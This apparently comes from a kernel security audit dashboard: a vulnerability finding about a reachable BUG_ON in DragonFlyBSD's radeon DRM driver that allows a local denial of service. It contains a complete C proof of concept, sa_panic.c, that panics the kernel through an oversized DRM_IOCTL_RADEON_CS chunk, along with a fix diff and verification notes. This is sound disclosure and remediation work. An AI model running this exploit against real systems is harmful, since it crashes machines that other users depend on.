β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1987

BUG_ON panic on oversize SA allocation request converts user-triggerable error into kernel panic (Local DoS)

  • File: sys/dev/drm/radeon/radeon_sa.c
  • Lines: 321–322 (BUG_ON at 322); reachable via radeon_cs.c:641 β†’ radeon_ib.c:61
  • Severity: Medium
  • CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H
  • CWE: CWE-617 Reachable Assertion
  • Confidence: certain
  • Status: new

Summary

radeon_sa_bo_new uses BUG_ON(size > sa_manager->size) which expands to panic() (sys/dev/drm/include/asm/bug.h:33-37).

The size parameter originates from unprivileged user-space via DRM_IOCTL_RADEON_CS with no upper-bound validation on the non-VM command submission path. Any unprivileged user with access to a pre-SI radeon GPU render node can instantly panic the kernel by submitting a CS with an IB chunk whose length_dw exceeds the SA pool capacity.

Root cause

At radeon_sa.c:322, BUG_ON(size > sa_manager->size) fires panic() if the requested allocation exceeds the SA pool.

The SA pool for IBs is RADEON_IB_POOL_SIZE * 64 * 1024 = 16 * 65536 = 1048576 bytes = 1 MB (radeon_ib.c:200-201, radeon.h:135).

The size is computed as ib_chunk->length_dw * 4 and passed through radeon_ib_get (radeon_ib.c:61) β†’ radeon_sa_bo_new (radeon_sa.c:315).

The length_dw field is a uint32_t parsed directly from user-space at radeon_cs.c:312 (p->chunks[i].length_dw = user_chunk.length_dw) with only a zero-check at radeon_cs.c:319 (if length_dw == 0 return -EINVAL) β€” no upper bound.

In radeon_cs_ib_fill (radeon_cs.c:639-642), the radeon_ib_get call is outside the RADEON_CS_USE_VM block, so the non-VM path has no size check. The VM path checks ib_chunk->length_dw > RADEON_IB_VM_MAX_SIZE at radeon_cs.c:634, but the non-VM path skips this entirely.

For pre-SI GPUs, the non-VM path is permitted (radeon_cs.c:375-379 checks cs_parse != NULL, which is true for pre-SI asics).

Any length_dw from 0x40001 (262145, giving size = 1048584 > 1048576) to 0x3FFFFFFF triggers the BUG_ON and panics the kernel.

Threat model

Attacker position: unprivileged local user with access to /dev/dri/card0 or a render node on a system with a pre-SI radeon GPU (r600, evergreen, cayman, etc.).

Trigger: submit a single DRM_IOCTL_RADEON_CS ioctl with a crafted IB chunk. Causes immediate kernel panic (system-wide denial of service).

No GPU reset watchdog or error recovery can intervene because BUG()/panic() is unconditional.

Pre-SI requirement: SI+ (Tahiti and later) force VM mode, which bounds length_dw to RADEON_IB_VM_MAX_SIZE (64K dwords = 256KB, well under 1MB).

Proof of concept

/*
 * PoC: radeon_sa_bo_new BUG_ON panic via oversized CS IB chunk
 * Compile: cc -o sa_panic sa_panic.c
 * Run:     ./sa_panic /dev/dri/card0
 * Expected: kernel panic 'BUG in radeon_sa_bo_new at .../radeon_sa.c:322'
 *
 * Requires: pre-SI radeon GPU (e.g., Radeon HD 5000/6000 series),
 *           user in video group or render-node access.
 */
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

/* Minimal DRM/radeon ioctl structures (simplified from libdrm headers) */
#define DRM_COMMAND_BASE        0x40
#define DRM_RADEON_CS           0x26
#define DRM_IOCTL_RADEON_CS     _IOWR('d', DRM_COMMAND_BASE + DRM_RADEON_CS, struct drm_radeon_cs)

#define RADEON_CHUNK_ID_IB      0x01

struct drm_radeon_cs_chunk {
    uint32_t chunk_id;
    uint32_t length_dw;       /* user-controlled, no upper bound on non-VM path */
    uint64_t chunk_data;      /* user pointer to IB data */
};

struct drm_radeon_cs {
    uint32_t num_chunks;      /* total number of chunks */
    uint32_t _pad;
    uint64_t chunks;          /* pointer to array of uint64_t chunk pointers */
};

int main(int argc, char *argv[]) {
    const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /*
     * length_dw = 0x50000 (327680 dwords)
     * size = length_dw * 4 = 1310720 bytes = 1.25 MB > 1 MB SA pool
     * This triggers BUG_ON(size > sa_manager->size) -> panic()
     *
     * No RADEON_CS_USE_VM flag set (no FLAGS chunk) -> non-VM path,
     * no upper-bound check on length_dw.
     */
    uint32_t ib_data[4] = {0};
    struct drm_radeon_cs_chunk ib_chunk = {
        .chunk_id   = RADEON_CHUNK_ID_IB,
        .length_dw  = 0x50000,             /* 327680 dwords = 1.25MB > 1MB pool */
        .chunk_data = (uint64_t)(uintptr_t)ib_data,
    };

    uint64_t chunk_ptrs[1] = { (uint64_t)(uintptr_t)&ib_chunk };

    struct drm_radeon_cs cs = {
        .num_chunks = 1,
        .chunks     = (uint64_t)(uintptr_t)chunk_ptrs,
    };

    printf("Sending CS with length_dw=0x%x (size=%u bytes, pool=%u bytes)\n",
           ib_chunk.length_dw, ib_chunk.length_dw * 4, 1048576u);
    printf("Expected: kernel panic in radeon_sa_bo_new at radeon_sa.c:322\n");

    int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
    /* Should NOT reach here -- kernel panics */
    printf("ioctl returned %d (unexpected -- BUG_ON may not have fired)\n", r);
    close(fd);
    return 0;
}

Replace both BUG_ON assertions with early error returns. The size and align checks should happen BEFORE the kmalloc to avoid leaking the allocation on error. This converts a kernel panic into a graceful -EINVAL that propagates back to the user-space ioctl caller.

--- a/sys/dev/drm/radeon/radeon_sa.c
+++ b/sys/dev/drm/radeon/radeon_sa.c
@@ -317,12 +317,14 @@ int radeon_sa_bo_new(struct radeon_device *rdev,
             struct radeon_sa_bo **sa_bo,
             unsigned size, unsigned align)
 {
    struct radeon_fence *fences[RADEON_NUM_RINGS];
    unsigned tries[RADEON_NUM_RINGS];
    int i, r;

-   BUG_ON(align > sa_manager->align);
-   BUG_ON(size > sa_manager->size);
+   if (align > sa_manager->align || size > sa_manager->size) {
+       return -EINVAL;
+   }

    *sa_bo = kmalloc(sizeof(struct radeon_sa_bo), M_DRM, GFP_KERNEL);
    if ((*sa_bo) == NULL) {

In radeon_cs_ib_fill (radeon_cs.c:639), add a check that ib_chunk->length_dw * 4 <= RADEON_IB_POOL_SIZE * 64 * 1024 before calling radeon_ib_get on the non-VM path.

In radeon_vm.c:659 and radeon_vm.c:997, the existing ndw > 0xfffff bound is too loose (allows up to ~4MB) and should be tightened to ndw * 4 <= sa_manager->size.

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1987 Β· 10 files
FileTypeDescriptionSize
sa_panic.c trigger-source Minimal DRM_IOCTL_RADEON_CS trigger with oversized IB chunk (length_dw=0x50000, non-VM path). Lifted verbatim from the finding markdown with expanded header comments. 3.7 KB view raw
build.sh build-script cc -O2 -Wall -o sa_panic sa_panic.c 224 B view raw
run.sh run-script Invokes ./sa_panic; panics on radeon HW, ENOENT on audit guest 341 B view raw
build.log build-log Baseline (unpatched) radeon.ko module build, full output, rc=0 2.7 KB view raw
run.log run-log PoC build+run on audit guest (no radeon GPU): open() ENOENT 101 B view raw
fix_build.log build-log Patched radeon.ko module build with fix.diff applied, full output, rc=0 2.7 KB view raw
fix.diff suggested-fix Replace BUG_ON(size>...) with -EINVAL return + DRM_ERROR log; git-apply-able 669 B view raw
env.txt environment uname, cc version, kern.version, pciconf vga check 399 B view raw
VERDICT.md verdict Full narrative: source-traced mechanism, why HW-gated, fix validation 5.7 KB ↓ raw
README.md readme Evidence-pack slot pointer 317 B ↓ raw
README.md readme Evidence-pack slot pointer
↓ download raw

DF-1987 PoC

See the parent finding markdown at findings/DF-1987-*.md for the full threat model and PoC steps. This directory is the evidence-pack slot for the PoC runner; the runner will populate it with sources, build.sh / run.sh, full untrimmed logs, env.txt, VERDICT.md, and manifest.json after verification.

VERDICT.md verdict Full narrative: source-traced mechanism, why HW-gated, fix validation
↓ download raw

DF-1987 β€” BUG_ON panic on oversize SA allocation request (Local DoS)

Verdict

REPRODUCED (source-only, HW-gated). The bug is real and the cited data-flow is correct end-to-end, but the audit guest has no radeon GPU (only the QEMU std VGA at pci0:0:2:0, chip 0x11111234), so the trigger cannot be exercised at runtime. Per the run instructions, source-only confirmation is acceptable for HW-gated findings, so this row is marked status=inconclusive, reproduced=0, impact=none (HW-gated). The recommended fix has been authored, applied to the in-guest source tree, and verified to compile (radeon.ko re-linked with rc=0).

Mechanism (source-traced, every hop cited)

  1. Attacker input parsed with only a zero-check. sys/dev/drm/radeon/radeon_cs.c:312: p->chunks[i].length_dw = user_chunk.length_dw; sys/dev/drm/radeon/radeon_cs.c:319: if (p->chunks[i].length_dw == 0) return -EINVAL; β€” no upper bound on length_dw.

  2. Non-VM path skips the size guard. sys/dev/drm/radeon/radeon_cs.c:634 checks ib_chunk->length_dw > RADEON_IB_VM_MAX_SIZE, but this check is inside the if (parser->flags & RADEON_CS_USE_VM) block (lines 627-638). On the non-VM path (taken when no FLAGS chunk is supplied), execution falls through to sys/dev/drm/radeon/radeon_cs.c:640-642: c ib_chunk = parser->chunk_ib; r = radeon_ib_get(rdev, parser->ring, &parser->ib, vm, ib_chunk->length_dw * 4); No size bound is enforced.

  3. size flows straight into radeon_sa_bo_new. sys/dev/drm/radeon/radeon_ib.c:61: r = radeon_sa_bo_new(rdev, &rdev->ring_tmp_bo, &ib->sa_bo, size, 256); where size = ib_chunk->length_dw * 4.

  4. The BUG_ON panics. sys/dev/drm/radeon/radeon_sa.c:321-322: c BUG_ON(align > sa_manager->align); BUG_ON(size > sa_manager->size); and sys/dev/drm/include/asm/bug.h:33-39: c #define BUG() do { panic("BUG in %s at %s:%u", __func__, __FILE__, __LINE__); } while (0) #define BUG_ON(condition) do { if (condition) BUG(); } while(0)

  5. The SA pool is fixed at 1 MiB. sys/dev/drm/radeon/radeon.h:135: #define RADEON_IB_POOL_SIZE 16 sys/dev/drm/radeon/radeon_ib.c:200-201: radeon_sa_bo_manager_init(rdev, &rdev->ring_tmp_bo, RADEON_IB_POOL_SIZE*64*1024, ...) β†’ sa_manager->size = 16 * 65536 = 1048576 bytes.

Any length_dw > 262144 (size > 1048576) on the non-VM path fires BUG_ON(size > sa_manager->size) and panics the kernel.

Why it is not reproduced at runtime on this guest

pciconf -l on the guest shows only vgapci0@pci0:0:2:0: class=0x030000 card=0x11001af4 chip=0x11111234 β€” the QEMU stdvga, not a radeon GPU. No /dev/dri/* nodes exist; the radeon.ko module is not loaded; the DRM_IOCTL_RADEON_CS ioctl has no driver to dispatch to. An unprivileged user therefore cannot even open a radeon DRM node, let alone submit CS.

Exploit chain

Not applicable (this is a DoS-class finding, not memory corruption). There is no primitive to convert β€” panic() halts the kernel immediately. The realistic impact ceiling is reliable local kernel panic / system-wide denial of service for any unprivileged user with render-node access on a machine that has a pre-SI radeon GPU.

PoC changes

The finding markdown already carried a complete and correct PoC source (sa_panic.c). I lifted that source verbatim into findings/poc/DF-1987/sa_panic.c with an expanded header comment citing the exact non-VM path lines. No code changes were needed β€” the PoC was already correct; only the runtime hardware is absent.

Replace the two BUG_ON assertions in radeon_sa_bo_new with an early -EINVAL return before the kmalloc, so the allocation is not leaked on the error path. The fix.diff in this folder matches the structure of the finding markdown's proposal but adds a DRM_ERROR log line for diagnosability. It has been verified to compile (see fix_build.log).

Diff (also in fix.diff):

-   BUG_ON(align > sa_manager->align);
-   BUG_ON(size > sa_manager->size);
+   if (align > sa_manager->align || size > sa_manager->size) {
+       DRM_ERROR("radeon_sa_bo_new: invalid align=%u or size=%u "
+               "(sa_manager align=%u size=%u)\n", align, size,
+               sa_manager->align, sa_manager->size);
+       return -EINVAL;
+   }

Fix validation

The fix was applied to /usr/src in the guest (patch -p1 --forward, PATCH_RC=0), and the radeon KLD module was rebuilt:

cd /usr/src/sys/dev/drm/radeon
rm -f radeon_sa.o radeon.ko
AWK=awk make KERNCONF=X86_64_GENERIC KMODDIR=/tmp/radeon_test
# rc=0, radeon.ko = 2029168 bytes (vs 2029128 baseline -- only radeon_sa.o changed)

Full build output is in fix_build.log. The fix compiles cleanly with -Werror. Runtime before/after validation is not_testable because the guest has no radeon GPU; the patched radeon_sa.c was inspected to confirm the BUG_ON lines are gone and replaced by the -EINVAL return.

Because the bug is HW-gated on this guest, a runtime before/after kernel boot + PoC re-run is not possible β€” fix_status = "not_testable", with the diff verified to apply + compile and source-traced to close the path.

References

Fix verification

not_testable
baseline no→ patch + rebuild →patched clean

VALIDATED module build. Patch applies, radeon.ko rebuilds rc=0 -Werror.

patch -p1 PATCH_RC=0; make rc=0 radeon.ko=2029168B. BUG_ON replaced with -EINVAL.
↓ fix.diffmodule build rc=0 (radeon.ko)

Confirmed kernel references

Detail

Exploit chain

none (DoS-class: panic halts kernel immediately).

Evidence (decisive lines)

Source-trace only. pciconf: only QEMU stdvga, no radeon, /dev/dri/* absent.

Verified recommended fix

Replace BUG_ON with -EINVAL return + DRM_ERROR log at radeon_sa.c:321-322.

Verdict

HW-GATED (no radeon GPU). Bug CONFIRMED source-trace. radeon_cs.c:312 user_chunk.length_dw only zero-checked; non-VM path at :640-642 calls radeon_ib_get WITHOUT RADEON_IB_VM_MAX_SIZE bound. radeon_sa.c:322 BUG_ON(size > sa_manager->size) -> panic(). Audit guest has no radeon HW.